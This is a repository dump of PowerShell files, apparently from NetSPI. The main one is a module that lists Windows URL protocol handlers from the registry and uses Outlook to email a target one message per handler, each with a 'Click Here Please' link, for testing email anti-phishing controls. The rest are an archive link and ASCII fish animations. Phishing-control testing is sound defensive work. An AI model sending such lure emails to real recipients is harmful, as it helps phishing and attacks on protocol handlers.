/Send-ProtocolHandlerEmailLinks.psm1: -------------------------------------------------------------------------------- 1 | # Author: Scott Sutherland, @_nullbind, NetSPI 2 | Function Send-ProtocolHandlerEmailLinks 3 | { 4 | <# 5 | .SYNOPSIS 6 | The script can be used to enumerate local protocol handlers and create sample emails 7 | contain links to the handlers. It is intended to be used for testing email controls 8 | that help prevent phishing. 9 | .PARAMETER TargetEmail 10 | Email address to send generated emails to. 11 | .PARAMETER OutPutFile 12 | File path where the list of protocol handlers with be written to. 13 | .PARAMETER Display only. 14 | Enumerate the protocol handlers and display them, but do not generate emails. 15 | .EXAMPLE 16 | PS C:\> Send-ProtocolHandlerEmailLinks -Verbose -TargetEmail target@email.com 17 | .EXAMPLE 18 | PS C:\> Send-ProtocolHandlerEmailLinks -Verbose -DisplayOnly 19 | .REFERENCES 20 | https://support.microsoft.com/en-us/help/310262/how-to-use-the-microsoft-outlook-object-library-to-send-an-html-format 21 | https://msrc-blog.microsoft.com/2008/12/09/ms08-075-reducing-attack-surface-by-turning-off-protocol-handlers/ 22 | https://docs.microsoft.com/en-us/office/vba/api/outlook.application 23 | https://blogs.msdn.microsoft.com/noahc/2006/10/19/register-a-custom-url-protocol-handler/ 24 | https://docs.microsoft.com/en-us/windows/win32/shell/app-registration 25 | https://docs.microsoft.com/en-us/windows/win32/shell/fa-intro 26 | https://www.vdoo.com/blog/exploiting-custom-protocol-handlers-in-windows 27 | https://zero.lol/2019-05-22-fun-with-uri-handlers/ 28 | #> 29 | [CmdletBinding()] 30 | Param( 31 | [Parameter(Mandatory = $false, 32 | HelpMessage = 'Set the target email address.')] 33 | [string]$TargetEmail, 34 | 35 | [Parameter(Mandatory = $false, 36 | HelpMessage = 'Output file path.')] 37 | [string]$OutPutFile = ".\protocolhandlers.csv", 38 | 39 | [Parameter(Mandatory = $false, 40 | HelpMessage = 'Only display the protocol handlers')] 41 | [switch]$DisplayOnly 42 | ) 43 | 44 | Begin 45 | { 46 | # Create datatable for output 47 | $null = $DataTable = New-Object System.Data.DataTable; 48 | $null = $DataTable.Columns.Add("key"); 49 | $null = $DataTable.Columns.Add("path"); 50 | } 51 | 52 | Process 53 | { 54 | Write-Verbose "Enumerating protocol handlers" 55 | 56 | # Get protocol handlers 57 | foreach ($Key in Get-ChildItem Microsoft.PowerShell.Core\Registry::HKEY_CLASSES_ROOT) 58 | { 59 | $Path = $Key.PSPath + '\shell\open\command'; 60 | $HasURLProtocol = $Key.Property -contains 'URL Protocol'; 61 | 62 | if(($HasURLProtocol) -and (Test-Path $Path)){ 63 | $CommandKey = Get-Item $Path; 64 | $ProtBin = $CommandKey.GetValue("") 65 | $ProtKey = $Key.Name.SubString($Key.Name.IndexOf('\') + 1) 66 | $null = $DataTable.Rows.Add($ProtKey,$ProtBin) 67 | } 68 | } 69 | 70 | # Display protocol handler count 71 | $PCount = $DataTable.Rows.Count 72 | Write-Verbose "$PCount protocol handlers found" 73 | 74 | # Write list of handlers to a file 75 | $DataTable | Export-Csv -NoTypeInformation "$OutputFile" 76 | Write-Verbose "List of protocol handlers saved to $OutputFile" 77 | 78 | # Display list 79 | if($DisplayOnly){ 80 | 81 | $DataTable 82 | } 83 | 84 | # Check if emails should / can be sent 85 | if((!$DisplayOnly) -and ($TargetEmail)) 86 | { 87 | 88 | # Send emails 89 | Write-Output "$PCount emails are being sent to $TargetEmail" 90 | $DataTable | 91 | Foreach { 92 | 93 | # Parse handler and associated executable. 94 | $Thekey = $_.Key 95 | $ThePath = $_.Path 96 | Write-Verbose "Sending $Thekey" 97 | 98 | # Sending emails with protocol handler links to target email 99 | $outlook = new-object -com outlook.application -Verbose:$False 100 | $ns = $outlook.GetNameSpace("MAPI"); 101 | $mail = $outlook.CreateItem(0) 102 | $mail.subject = "Protocol Handler Test: $Thekey" 103 | $Html = "" + 104 | "" + 105 | "$Thekey Test" + 106 | "" + 107 | "" + 108 | "Key: $Thekey
" + 109 | "Executable: $ThePath
" + 110 | "Click Here Please
" + 111 | "" + 112 | ""; 113 | $mail.HTMLbody = "$Html" 114 | #$mail.body = "This is text only." 115 | $mail.To = "$TargetEmail" 116 | $mail.Send() 117 | } 118 | } 119 | } 120 | 121 | End 122 | { 123 | # Nothing 124 | } 125 | } 126 | 127 | -------------------------------------------------------------------------------- /cryptit/CryptItexe.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/PowerShell/d9600f0af2382cabfcb7b24d9a1562a6662e02dc/cryptit/CryptItexe.zip -------------------------------------------------------------------------------- /fish.ps1: -------------------------------------------------------------------------------- 1 | # Generates 5 fish 2 | 1..5| 3 | ForEach-Object{ 4 | 5 | # Set random number of spaces 6 | $Spaces = " "* (Get-Random -Maximum 80) 7 | 8 | # Bubbles object 1 9 | $Bubbles1 = " 10 | $Spaces o 11 | $Spaces o" 12 | 13 | # Bubbles object 2 14 | $Bubbles2 = " 15 | $Spaces o" 16 | 17 | # Fish 1 object 18 | $Fish1 = " 19 | $Spaces <" 20 | 21 | # Fish 2 object 22 | $Fish2 = " 23 | $Spaces ><(((o>" 24 | 25 | # Fish 3 object 26 | $Fish3 = " 27 | $Spaces _____ 28 | $Spaces / \ 29 | $Spaces | O . | 30 | $Spaces \ . / 31 | $Spaces | | 32 | $Spaces ( O O ) 33 | $Spaces / / \ \__ 34 | $Spaces )/ /|||\ \( 35 | $Spaces _(( /(( ))\ ))((" 36 | 37 | # Fish 4 object 38 | $Fish4 = " 39 | $Spaces ^ 40 | $Spaces ----- 41 | $Spaces <--o-0--> 42 | $Spaces ------- 43 | $Spaces -----" 44 | 45 | # Choose random bubbles 46 | $myBubbles = New-Object System.Collections.ArrayList 47 | $myBubbles.Add("$Bubbles1") | Out-Null 48 | $myBubbles.Add("$Bubbles2") | Out-Null 49 | $RandomBubbles = Get-Random -Maximum 3 50 | $DisplayBubbles = $myBubbles[$RandomBubbles] 51 | 52 | # Choose random fish 53 | $myFish = New-Object System.Collections.ArrayList 54 | $myFish.Add("$Fish1") | Out-Null 55 | $myFish.Add("$Fish2") | Out-Null 56 | $myFish.Add("$Fish3") | Out-Null 57 | $myFish.Add("$Fish4") | Out-Null 58 | $RandomFish = Get-Random -Maximum 4 59 | $DisplayFish = $myFish[$RandomFish] 60 | 61 | Write-Output "$DisplayBubbles" 62 | Write-Output "$DisplayFish" 63 | 64 | # Delay the print 65 | sleep .75 66 | } 67 | -------------------------------------------------------------------------------- /fish.psm1: -------------------------------------------------------------------------------- 1 | Function Invoke-Fish{ 2 | 1..5| 3 | ForEach-Object{ 4 | 5 | # Set random number of spaces 6 | $Spaces = " "* (Get-Random -Maximum 80) 7 | 8 | # Bubbles object 1 9 | $Bubbles1 = " 10 | $Spaces o 11 | $Spaces o" 12 | 13 | # Bubbles object 2 14 | $Bubbles2 = " 15 | $Spaces o" 16 | 17 | # Fish 1 object 18 | $Fish1 = " 19 | $Spaces <" 20 | 21 | # Fish 2 object 22 | $Fish2 = " 23 | $Spaces ><(((o>" 24 | 25 | # Fish 3 object 26 | $Fish3 = " 27 | $Spaces _____ 28 | $Spaces / \ 29 | $Spaces | O . | 30 | $Spaces \ . / 31 | $Spaces | | 32 | $Spaces ( O O ) 33 | $Spaces / / \ \__ 34 | $Spaces )/ /|||\ \( 35 | $Spaces _(( /(( ))\ ))((" 36 | 37 | # Fish 4 object 38 | $Fish4 = " 39 | $Spaces ^ 40 | $Spaces ----- 41 | $Spaces <--o-0--> 42 | $Spaces ------- 43 | $Spaces -----" 44 | 45 | # Choose random bubbles 46 | $myBubbles = New-Object System.Collections.ArrayList 47 | $myBubbles.Add("$Bubbles1") | Out-Null 48 | $myBubbles.Add("$Bubbles2") | Out-Null 49 | $RandomBubbles = Get-Random -Maximum 3 50 | $DisplayBubbles = $myBubbles[$RandomBubbles] 51 | 52 | # Choose random fish 53 | $myFish = New-Object System.Collections.ArrayList 54 | $myFish.Add("$Fish1") | Out-Null 55 | $myFish.Add("$Fish2") | Out-Null 56 | $myFish.Add("$Fish3") | Out-Null 57 | $myFish.Add("$Fish4") | Out-Null 58 | $RandomFish = Get-Random -Maximum 4 59 | $DisplayFish = $myFish[$RandomFish] 60 | 61 | Write-Output "$DisplayBubbles" 62 | Write-Output "$DisplayFish" 63 | 64 | # Delay the print 65 | sleep .75 66 | } 67 | } 68 | --------------------------------------------------------------------------------